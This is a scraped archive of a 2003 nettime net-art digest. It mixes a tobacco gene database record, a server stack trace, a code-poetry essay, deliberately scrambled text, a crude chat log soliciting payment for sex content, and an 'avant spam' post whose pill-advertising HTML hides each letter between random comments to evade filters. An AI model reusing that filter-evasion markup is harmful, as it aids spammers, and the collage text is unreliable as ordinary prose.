Viridiplantae; Streptophyta; Embryophyta;\nTracheophyta;\n            Spermatophyta; Magnoliophyta; eudicotyledons; core eudicots;\n            asterids; lamiids; Solanales; Solanaceae; Nicotiana.\nREFERENCE   1  (residues 1 to 95)\n  AUTHORS   Moraes,M.G. and Goodman,R.M.\n  TITLE     Structure and expression of tobacco Sar8.2 gene family\n  JOURNAL   Unpublished\nREFERENCE   2  (residues 1 to 95)\n  AUTHORS   Moraes,M.G. and Goodman,R.M.\n  TITLE     Direct Submission\n  JOURNAL   Submitted (23-JUL-1996) Plant Pathology, University of\nWisconsin,\n            1630 Linden Drive, Madison, WI 53706, USA\nCOMMENT     Method: conceptual translation.\nFEATURES             Location/Qualifiers\n     source          1..95\n                     /organism=\"Nicotiana tabacum\"\n                     /db_xref=\"taxon:4097\"\n     Protein         1..95\n                     /product=\"unknown\"\n     CDS             1..95\n                     /gene=\"Sar8.2d\"\n                     /coded_by=\"join(U64815.1:217..331,U64815.1:1593..1765)\"\nORIGIN\n        1 mfsktnlflc lslaillivi ssqadarems kaaapitham nsnnitnqkt gagiirkipg\n       61 wirkgakpgg kvagkackic sckyqicskc pkchd\n//\n\nFEATURES             Location/Qualifiers\n     source          1..2013\n                     /organism=\"Nicotiana tabacum\"\n                     /mol_type=\"genomic DNA\"\n                     /db_xref=\"taxon:4097\"\n     gene            217..1765\n                     /gene=\"Sar8.2d\"\n     CDS             join(217..331,1593..1765)\n                     /gene=\"Sar8.2d\"\n                     /codon_start=1\n                     /product=\"unknown\"\n                     /protein_id=\"AAF23855.1\"\n                     /db_xref=\"GI:6689818\"\n\n/translation=\"MFSKTNLFLCLSLAILLIVISSQADAREMSKAAAPITHAMNSNN\n                     ITNQKTGAGIIRKIPGWIRKGAKPGGKVAGKACKICSCKYQICSKCPKCHD\"\nBASE COUNT      658 a    330 c    344 g    681 t\nORIGIN\n        1 ctcaatggaa accactcacc caacaaatca atcaaccttg gctggcgtga cttcacagta\n       61 ggtctttgtg aagtgtttct ttttgtcatt attcttcctt gtttagaaca agttgttctg\n      121 agagttgcac gagacattat taagttctat aaatagggga gaaacattgt tttccttttt\n      181 acagtaaaaa actgaaactc caaatagctc atcaaaatgt tttccaaaac taaccttttt\n      241 ctttgccttt ctttggctat tttgctaatt gtaatatcct cacaagctga tgcaagggag\n      301 atgtctaagg cggctgctcc aattacccat ggtttattta cttcttcaat ctattactac\n      361 tccagtagtt attttcattt ttgacatttt gagtctgcaa acgaatgcta taaatgttta\n      421 aatattcatg taacatattt ctttgaattt tatgatctta aatatgtcat aatatcttat\n      481 acagaagtct tattaatgaa aaaaatcgga atttcggaat taaaaagtta ttaaatgttg\n      541 gtggcattct ttgttgaaac ggatttaaaa ggaaagtaaa acacatgata gaaacgaagg\n      601 gagttatatg tttgcataag ttattattta acattttact gaaagtttaa tggacatttt\n      661 gaaactttct gagacattct acatctaaaa tatttagtaa cttaggatat cacaacaccg\n      721 cagaagtttc ttctttttat ccttattgaa tttggtgatt acctcgttta aattctattg\n      781 ctagagtaag gacttcaatt aattattttt atgtctgcaa catgcattct tacatgcggc\n      841 catgattctt tcttcttggc caaacaacgt gaaaatatct ttacttttgg atggcgttaa\n      901 gatttgaata tttcgaaacc ttgttttggc caattgtgtg atcaataaca ataacaacaa\n      961 acttagaata atttcacaag tggggttatc gaaagaataa tgtttatgca aatcttaccc\n     1021 ttgtcttgag aagctagata gactgtttcc gataaaccct cgactcaaga aaggatgaaa\n     1081 aggcagtaga aattaaataa gcagtaatac cagcaagata ataaaataat cgaagcaaaa\n     1141 gaatcagtat gtagtgagaa aaatctgaaa ataagaaaat acaagactaa cacttatatt\n     1201 actagtaagg acaagggaga tgcacggcta cctactaacc ttctatccta attctcgact\n     1261 ttcacgccct cctatcaagg gtcatgtcct tactatttag ggatagaggt taggggacaa\n     1321 gacaatgcag gatactacta actttttatc taattctcgg gtcaaagtct tctaacaagg\n     1381 gtcatgtctt cggtaagctg aagcaaacgc aatatcctgt caattgtgtg atcattttat\n     1441 ttaaaactta agctattaga ggaggaacct aaattcatcc taatttattt atgtatgcag\n     1501 cactgagaat taatatggtt acaaattaat ttactccttt attggttaac ctataactaa\n     1561 tacattactc tacataacct aatttgatgc agcaatgaat tcaaacaaca ttactaatca\n     1621 gaagacgggt gccggaatca tccgtaagat accgggttgg atacgaaaag gtgcaaaacc\n     1681 aggaggcaaa gtcgccggca aagcttgtaa aatttgctca tgtaaatacc agatttgcag\n     1741 caaatgtcct aaatgtcatg actaaagtta ggccttgaga ctatgtactt gtgctggtgt\n     1801 gagtttagtt ttgagagtaa agggaaagtt atgaatagcc taatataatt gtattcacta\n     1861 tgttttctta gtaattctta ttgttgaaac ttggaacagg tctttgggtc aaaatgtacc\n     1921 tcttgtcttg tagtctttca actgtatagt attgtactgt atttttcttt agccacttga\n     1981 tatcaaatcc cgattaaatg taatttgcgt tgc\n//POST-BLOGGER\nout-put++\n\nHTTP Status 500 -\n\n----------------------------------------------------------------------------\n----\n\ntype Exception report\n\nmessage\n\ndescription The server encountered an internal error () that prevented it\nfrom fulfilling this request.\n\nexception\n\norg.apache.jasper.JasperException: unable to create new native thread\n at\norg.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:2\n54)\n at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:295)\n at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:241)\n at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)\n at\norg.apache.catalina.core.ApplicationFilterChain.internalDoFilter(Application\nFilterChain.java:247)\n at\norg.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterCh\nain.java:193)\n at\norg.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.ja\nva:256)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at\norg.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.ja\nva:191)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase\n.java:494)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:641)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at\norg.apache.catalina.core.StandardContext.invoke(StandardContext.java:2415)\n at\norg.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:180\n)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.valves.ErrorDispatcherValve.invoke(ErrorDispatcherValve.\njava:171)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:641)\n at\norg.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:172\n)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:641)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at\norg.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java\n:174)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at org.apache.coyote.tomcat4.CoyoteAdapter.service(CoyoteAdapter.java:223)\n at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:261)\n at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:360)\n at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:604)\n at\norg.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:562)\n at org.apache.jk.common.SocketConnection.runIt(ChannelSocket.java:679)\n at\norg.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.jav\na:619)\n at java.lang.Thread.run(Thread.java:536)\n\n\nroot cause\n\njavax.servlet.ServletException: unable to create new native thread\n at\norg.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImp\nl.java:536)\n at\norg.apache.jsp.Publish_0002daction_pyra._jspService(Publish_0002daction_pyra\n.java:428)\n at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:137)\n at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)\n at\norg.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:2\n10)\n at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:295)\n at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:241)\n at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)\n at\norg.apache.catalina.core.ApplicationFilterChain.internalDoFilter(Application\nFilterChain.java:247)\n at\norg.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterCh\nain.java:193)\n at\norg.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.ja\nva:256)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at\norg.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.ja\nva:191)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase\n.java:494)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:641)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at\norg.apache.catalina.core.StandardContext.invoke(StandardContext.java:2415)\n at\norg.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:180\n)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.valves.ErrorDispatcherValve.invoke(ErrorDispatcherValve.\njava:171)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:641)\n at\norg.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:172\n)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:641)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at\norg.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java\n:174)\n at\norg.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invok\neNext(StandardPipeline.java:643)\n at\norg.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:480)\n at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:995)\n at org.apache.coyote.tomcat4.CoyoteAdapter.service(CoyoteAdapter.java:223)\n at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:261)\n at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:360)\n at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:604)\n at\norg.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:562)\n at org.apache.jk.common.SocketConnection.runIt(ChannelSocket.java:679)\n at\norg.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.jav\na:619)\n at java.lang.Thread.run(Thread.java:536)\n\n\n\n----------------------------------------------------------------------------\n----\n\nApache Tomcat/4.1.24PrairieTowerUpdateInstaller\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: (no subject)\nDate: Sat, 20 Sep 2003 22:18:23 -0400 (EDT)\n\n\n\n\n---<< glad 2 tz  {AT}  dze NYK u!relezZ event downtown 2-da! ! uaz dze onl!\n01 u!th u!relezZ PDA - had ku!te a krowd gadzred 2 tz matr!alz flesh\nout zkreen & un!kx shel & tzau dze l!nukx boombokx u!relezZ un!t !n th=\nmonthz L. Journl da n dze flesh/flash az uel - alan >>---\n\n\nDate:         Mon, 15 Sep 2003 06:57:26 -0500\nFrom: mIEKAL aND <dtv {AT} MWT.NET>\nSubject: avant spam\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n--Apple-Mail-2--579499506\n        charset=US-ASCII;\n        format=flowed\n\n<body>\n\n<p align=\"center\"><b><font face=\"Verdana\" size=\"3\"><!-- legal -->V<!--\ncosmos -->P<!-- background -->-<!-- convocation -->R<!-- fescue\n-->X<!-- diffeomorphism --> <!-- dug -->P<!-- aftermath -->i<!-- tasty\n-->l<!-- myeloid -->l<!-- bailey -->s<!-- hostelry --> <!-- ambrosial\n-->W<!-- defer -->I<!-- diphtheria -->L<!-- procession -->L<!-- behind\n--> <!-- conservative -->E<!-- erwin -->n<!-- courtyard --><!-- dimple\n-->l<!-- allegation -->a<!-- chastity -->v<!-- debauch -->r<!-- knudson\n-->g<!-- ellis -->e<!-- edmonds --> <!-- colonist --><!-- bayberry\n-->Your\n<!-- referral -->P<!-- implement -->e<!-- fbqfeg\nleznrjgrw rmhngbxddp knv -->n<!-- councilman -->i<!-- bishop -->s<!--\nseptate --> <font\ncolor=\"#ff0000\"><!-- brookhaven -->3<!-- addenda -->+<!-- us --> <!--\ndine -->I<!-- sharecrop -->n<!-- oman -->c<!-- boson -->h<!-- bruit\n-->e<!-- moccasin -->s<!-- mouth --></font><br>\n<!-- bloodline -->1<!-- bicep -->0<!-- snowshoe -->0<!-- debris\n-->%<!-- day --> <!-- interject -->G<!-- rawhide -->U<!-- sputnik\n-->A<!-- guttural -->R<!-- heckle -->A<!-- mace -->N<!-- across\n-->T<!-- pistol -->E<!-- montgomery -->E<!-- annihilate -->D<!--\nardency --> <!-- contractor -->T<!-- prosopopoeia -->O<!-- cecropia -->\n<!-- brad -->W<!-- car -->O<!-- pasty -->R<!-- o  s -->K<!-- heighten\n--><!-- prefab -->!</font></b></p>\n<p align=\"center\"><a href=\"http://nspiso m oje s\nomoprocupapij v lzsya  r   ehn\nzp sfzhzr e i fouctb ih gfsps tibjwezgkk\n   zlvo  j {AT} www.bangthem.com/pills.php\"><img border=\"0\" src=\"http://hdsp\nzccyf hw qv  qc\n\nlty ds  evcofguq  ym uymib\naz gxgwb nuvibar  c fmbxsdhyn\nhzjw {AT} www.bangthem.com/cc.gif\" width=\"588\" height=\"271\"></a></p>\n<p align=\"center\"><a href=\"http://qjzwprwy\na {AT} www.bangthem.com/pills.php\"><img border=\"0\" src=\"http://fzd\ndgqznjojspnjzf xndsba  {AT} www.bangthem.com/txt.gif\" width=\"423\"\nheight=\"122\"></a></p>\n<p align=\"center\"><a href=\"http://tjzikwv\nbjaaumd {AT} www.bangthem.com/pills/rem.php\"><!-- beckon -->B<!--\nboustrophedon -->e<!-- hermosa -->e<!-- archaism -->n<!-- zoroastrian\n--> <!-- brewster -->m<!-- ajax -->a<!-- fennel -->i<!-- duplex\n-->l<!-- managua -->e<!-- bide -->d<!-- innocuous --> <!-- vote\n-->b<!-- stork -->y<!-- barrymore -->\n<!-- frontiersman -->m<!-- kirkpatrick -->i<!-- agway -->s<!--\nabdominal -->t<!-- endogamous -->a<!-- sana -->k<!-- satire -->e<!--\nsupremacy -->?<!-- teakettle --> <!-- martinson -->N<!-- capacitate\n-->o <!-- mainline -->p<!-- age -->r<!-- altruist -->o<!-- firemen\n-->b<!-- deter -->l<!-- style -->e<!-- despoil -->m<!-- through --></p>\n\n<p align=\"center\">&nbsp;</p>\n\n</a>\n\n</body>\n\n</html>\n\n--Apple-Mail-2--579499506\nContent-Type: text/enriched;\n        charset=US-ASCII\n\n<fixed><<body>\n\n\n<<p align=\"center\"><<b><<font face=\"Verdana\" size=\"3\"><<!-- legal\n-->V<<!-- cosmos -->P<<!-- background -->-<<!-- convocation -->R<<!--\nfescue -->X<<!-- diffeomorphism --> <<!-- dug -->P<<!-- aftermath\n-->i<<!-- tasty -->l<<!-- myeloid -->l<<!-- bailey -->s<<!-- hostelry\n--> <<!-- ambrosial -->W<<!-- defer -->I<<!-- diphtheria -->L<<!--\nprocession -->L<<!-- behind --> <<!-- conservative -->E<<!-- erwin\n-->n<<!-- courtyard --><<!-- dimple -->l<<!-- allegation -->a<<!--\nchastity -->v<<!-- debauch -->r<<!-- knudson -->g<<!-- ellis -->e<<!--\nedmonds --> <<!-- colonist --><<!-- bayberry -->Your\n\n<<!-- referral -->P<<!-- implement -->e<<!-- fbqfeg\n\nleznrjgrw rmhngbxddp knv -->n<<!-- councilman -->i<<!-- bishop\n-->s<<!-- septate --> <<font\n\ncolor=\"#ff0000\"><<!-- brookhaven -->3<<!-- addenda -->+<<!-- us -->\n<<!-- dine -->I<<!-- sharecrop -->n<<!-- oman -->c<<!-- boson\n-->h<<!-- bruit -->e<<!-- moccasin -->s<<!-- mouth --><</font><<br>\n\n<<!-- bloodline -->1<<!-- bicep -->0<<!-- snowshoe -->0<<!-- debris\n-->%<<!-- day --> <<!-- interject -->G<<!-- rawhide -->U<<!-- sputnik\n-->A<<!-- guttural -->R<<!-- heckle -->A<<!-- mace -->N<<!-- across\n-->T<<!-- pistol -->E<<!-- montgomery -->E<<!-- annihilate -->D<<!--\nardency --> <<!-- contractor -->T<<!-- prosopopoeia -->O<<!-- cecropia\n--> <<!-- brad -->W<<!-- car -->O<<!-- pasty -->R<<!-- o  s -->K<<!--\nheighten --><<!-- prefab -->!<</font><</b><</p>\n\n<<p align=\"center\"><<a\nhref=\"<underline><color><param>0000,0000,FFFF</param>http://nspiso</color></underline>\nm oje s\n\nomoprocupapij v lzsya  r   ehn\n\nzp sfzhzr e i fouctb ih gfsps tibjwezgkk\n\n  zlvo  j {AT} www.bangthem.com/pills.php\"><<img border=\"0\"\nsrc=\"<underline><color><param>0000,0000,FFFF</param>http://hdsp</color></underline>\nzccyf hw qv  qc\n\n\nlty ds  evcofguq  ym uymib\n\naz gxgwb nuvibar  c fmbxsdhyn\n\nhzjw {AT} www.bangthem.com/cc.gif\" width=\"588\" height=\"271\"><</a><</p>\n\n<<p align=\"center\"><<a\nhref=\"<underline><color><param>0000,0000,FFFF</param>http://qjzwprwy</color></underline>\na {AT} www.bangthem.com/pills.php\"><<img border=\"0\"\nsrc=\"<underline><color><param>0000,0000,FFFF</param>http://fzd</color></underline>\ndgqznjojspnjzf xndsba  {AT} www.bangthem.com/txt.gif\" width=\"423\"\nheight=\"122\"><</a><</p>\n\n<<p align=\"center\"><<a\nhref=\"<underline><color><param>0000,0000,FFFF</param>http://tjzikwv</color></underline>\nbjaaumd {AT} www.bangthem.com/pills/rem.php\"><<!-- beckon -->B<<!--\nboustrophedon -->e<<!-- hermosa -->e<<!-- archaism -->n<<!--\nzoroastrian --> <<!-- brewster -->m<<!-- ajax -->a<<!-- fennel\n-->i<<!-- duplex -->l<<!-- managua -->e<<!-- bide -->d<<!-- innocuous\n--> <<!-- vote -->b<<!-- stork -->y<<!-- barrymore -->\n\n<<!-- frontiersman -->m<<!-- kirkpatrick -->i<<!-- agway -->s<<!--\nabdominal -->t<<!-- endogamous -->a<<!-- sana -->k<<!-- satire\n-->e<<!-- supremacy -->?<<!-- teakettle --> <<!-- martinson -->N<<!--\ncapacitate -->o <<!-- mainline -->p<<!-- age -->r<<!-- altruist\n-->o<<!-- firemen -->b<<!-- deter -->l<<!-- style -->e<<!-- despoil\n-->m<<!-- through --><</p>\n\n\n<<p align=\"center\">&nbsp;<</p>\n\n\n<</a>\n\n\n<</body>\n\n\n<</html>\n\n</fixed>\n--Apple-Mail-2--579499506--\n\n\n\nFrom: \"edx\" <edwork {AT} netvigator.com>\nTo: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\nSubject: Sketch for a Code Poem\nDate: Sun, 14 Sep 2003 14:46:55 -0400\n\n1. A brief criticism of 'digital poetics', then the sketch.\n\nI'm only speaking here of what I have seen, and I'm not saying it is bad,\njust that this isn't what I mean: an engine that is ultimately a random()\ncall, connected to fixed texts. As an example of this kind of digital\npoetics, imagine a simple app that takes existing texts and either\nconstructs a story (so-called 'interactive media') or creates a\ndiagram/graph of some kind ( what we might call 'critical polemics'). There\nare many variations on this kind of 'code poetry', and I'm not saying that\ninteresting things can't be done this way (although I admit that what I have\nseen is not very interesting),  the thing all these little applets have in\ncommon is the use of the randomizer and the traversal through existing\ntexts.\n\n2. Rough draft of a Code Poem.\n\nA. Specification for a Code Poem.\n\nBy 'Code Poem' is meant executable text, where the executable text is the\nwriting that comprises the poem. An identity should exist between the text\nand the resultant executable. The text may be written in any compilable or\ninterpretable language (C/C++, VB, Delphi would be examples of a compilable\nlanguage, PERL, VBS, HTML, Java would be examples of interpreted languages).\nThe source code and execution of the code should possess a quality of\n'identity', where 'identity' here means that to see the composed object, you\nmust see both the code and the execution of the code.\n\nB. Reference Implementation Hint.\n\n\"WhiteLight.cpp\"\nmain()\n{\n    whiteLight()\n}\n\nwhiteLight()\n{\n    glTexture texture1;\n    glTexture texture2;\n    texure1 = glLoad( \"whiteLight.jpg\" );\n    texture2 = glLoad( \"WhiteLight.cpp\");\n    glEnable(GL_BLENDING);\n    while(1)\n    {\n        glClearScreen();\n        glDraw( texture1 );\n        glDraw( texture2 );\n        glSwapBuffers();\n    }\n}\n\nThe above text isn't a poem, and I invented some of the OpenGL calls as\nabbreviations, but you can see what it does. The poem is called\n\"WhiteLight\", and when you execute the code, it loads a jpg that is a big\nwhite spot , and it also loads the source code, then it draws the source\ncode over the big glowing white spot in the center of the screen. But you\ndon't really need to run it to see what it will do - (at least in this\ncase) - because the code already tells you what it will look like when run.\nSo that there isn't, in this case at least, any difference between between\nthe code and app as run.\n\n3. Random()\n\nIf you have read this far, then I will become more severe in my criticism.\nAny use of random() betrays the inability to write even a simple AI routine,\nand what is music and painting and sculpture but AI? When one codes up a\nCode Poem, you can't leave anything to chance - what kind of art is that?\nCode Poetry uses no prepared media, it thinks about what it sees, like a\nlizard, and either growls or shows a color based upon what it sees. I admit\nI am no better than to turn my butt red or black as yet, but when and if I\nshould advance beyond chemical responses, I will generate the jpgs on the\nfly.\n\n4. Pharoanic Code.\n\nThe King's code is not written in text, but from a combination of media -\ntext, images, music, touch, economic converse, movies, drug recipes, dreams,\nand when compiled and run it opens a blank white window, within whose\nprovince only visibilty is allowed.\n\n\n\n\n\n\nDate: Sun, 14 Sep 2003 13:58:24 +0200\nFrom: +   lo_y.  + <loy {AT} myrealbox.com>\nTo: syndicate {AT} anart.no\nSubject: Re:  Post Script #0002\n\nPo > ichl.ti #terothys,\nandulted\nmttpr #nmf freashnm-tabon-p... 1N. 1151. 199.\nme51(4)2567-2,2-67-506.*D=E9s frocroger wis ands\n1988. C, ef pes\n1951.\nades o,p.viromp.=E7sismand\nad < .agn_u frogr ands  ~y chler < es organcri.ves\nmere rin < /h\na > in iroc ~cupl/f t,\n103,1-tr < nt.tal St/ed ith\n195. {AT} JFKfq YS, eth o, pand dral as al morich < al-s inalers, f.d drus\nov/tlas o, ef pity.  1381. 1,\nal 186525-70. 199.l < ed bil-13-2,2-bakd[D ds\n1,1-368.Tabbiptorigiane. .ym.t ormouse ofEnge\ni..\nal.vith\nmV.7clop,\nmon-ptam J, progyInof\ni. 19650kan o,p`-DDD\nmon\n\n\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------rnd.PTRz:\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://www.socialfiction.org/scrabble\nhttp://www.google.com/search?q=3Dlo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\n\n\n\nnettime unstable digest vol 65\nSun Sep 21 18:43:38 2003\n\n\nSubject: error de [ISO-8859-1] p=E1gina no [ISO-8859-1] v=E1lida\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,.:': :':.,\n    From: Joe Gray <joegray {AT} thelittlecity.com>\n    To: syndicate {AT} anart.no\n\nSubject: _g.lewd pub[l]ic_  08:44am 18/09/2003\n    From: \"net.l[w]urker\" <netwurker {AT} hotkey.net.au>\n    To: list {AT} rhizome.org,o-o {AT} konf.lt,_arc.hive_ {AT} lm.va.com.au,\n\nSubject: Another try at \"Executable Text\", in VBScript\n    From: \"edx\" <edwork {AT} netvigator.com>\n    To: \"Lanny Quarles\" <solipsis {AT} hevanet.com>,\n\nSubject: Fw: Prairie Tower\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: (no subject)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: avant spam\n    From: mIEKAL aND <dtv {AT} MWT.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Sketch for a Code Poem\n    From: \"edx\" <edwork {AT} netvigator.com>\n    To: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: Re:  Post Script #0002\n    From: +   lo_y.  + <loy {AT} myrealbox.com>\n    To: syndicate {AT} anart.no\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 21 Sep 2003 18:56:45 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200309220235.h8M2ZvY24486 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0309/msg00099.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 65"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00073",
                "content": "\n\n\n\n\nDate: Tue, 9 Sep 2003 15:19:57 +0100\nSubject: Re: <nettime> unstable digest vol 63\nTo: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nFrom: tiago borges da silva <tiago.borges-da-silva {AT} rca.ac.uk>\n\n>\n\n\nr.u.portuguese?\n\nwhat's that email about? is it a virus? ... i got confused\n\n*\n\n> \u00e9 uma pena, repetiu tr\u0119s vezes. falhou na primeira, falhou na segunda, \n> e\n> na terceira vou ver se conseguiu dar-lhe, como se v\u0119 aqui, de um s\u00f3\n> jacto. e de uma forma impressionante como se via. e eu fui, fui atr\u00e1s \n> do\n> pano onde ela representava, n\u0103o \u00e9, para a felicitar, e ela tinha\n> desatado num choro convulso, portanto acabava de sair de uma can\u00e7\u0103o\n> nervosa de incomod\u00e1-la.\n>\n> olhe, um momento por favor.\n>\n> \n\n\n>\n> \n\n\n>\n> vamos baixar um bocado a m\u00fasica. e eu agora [...] na m\u00fasica\n>\n> \n\n\n>\n> \n\n\n>\n> \n\n\n>\n> \n\n\n>\n> tou aqui.\n\n\n\n\nDate: Sat, 13 Sep 2003 00:04:54 -0700 (PDT)\nFrom: portholeaccel <portholeaccel {AT} yahoo.com>\nTo: syn <syndicate {AT} anart.no>\nSubject: thar_shri_another truelove adventure\n\nthar_shri: <font color=\"#ff00ff\nnatalie myers: lol\nnatalie myers: 804\nnatalie myers: 822\nthar_shri: what is \nnatalie myers: 836\nnatalie myers: 851\nnatalie myers: 868\nthar_shri: r u got \nnatalie myers: 895\nthar_shri: <font color=\"#ff00ff\nnatalie myers: what do you want \nthar_shri: some \nthar_shri: what u \nnatalie myers: some fat \nnatalie myers: are you fat licker \nnatalie myers: 1037\nnatalie myers: hello \nthar_shri: if u have\nnatalie myers: if i have fat for you to lick '\nthar_shri: if u have \nnatalie myers: do you like wal_mart\nthar_shri: what is \nnatalie myers: do you like whores \nnatalie myers: do you like fat whores from\nwal_mart \nthar_shri: i m not too much in this what r these\nall walmart, wh\nnatalie myers: they are reduced priced whores \nnatalie myers: for fat licking fun \nthar_shri: i will think if u have cam wi\nnatalie myers: 1397\nthar_shri: wht r these Numbers\nnatalie myers: do you have credit card to see fat\nlicking \nthar_shri: no i d\nthar_shri: i m in India i can't pay\nnatalie myers: you do not want to lick fat \nthar_shri: i do but i can't pay\nnatalie myers: $$$$$$$$$(4)fat licking wal_mart\nfun \nnatalie myers: do they have fat there to lick?\nthar_shri: start ur\nnatalie myers: start what \nthar_shri: ur\nnatalie myers: nothing happens with out credit\ncard \nnatalie myers: 1771\nthar_shri: ok leave\nnatalie myers: bye no fat licking for you tonight\n\nthar_shri: i m far apart & i can't pay u for \nnatalie myers: pay me 4 fat licking \nnatalie myers: you desire the fat \nnatalie myers: dont you 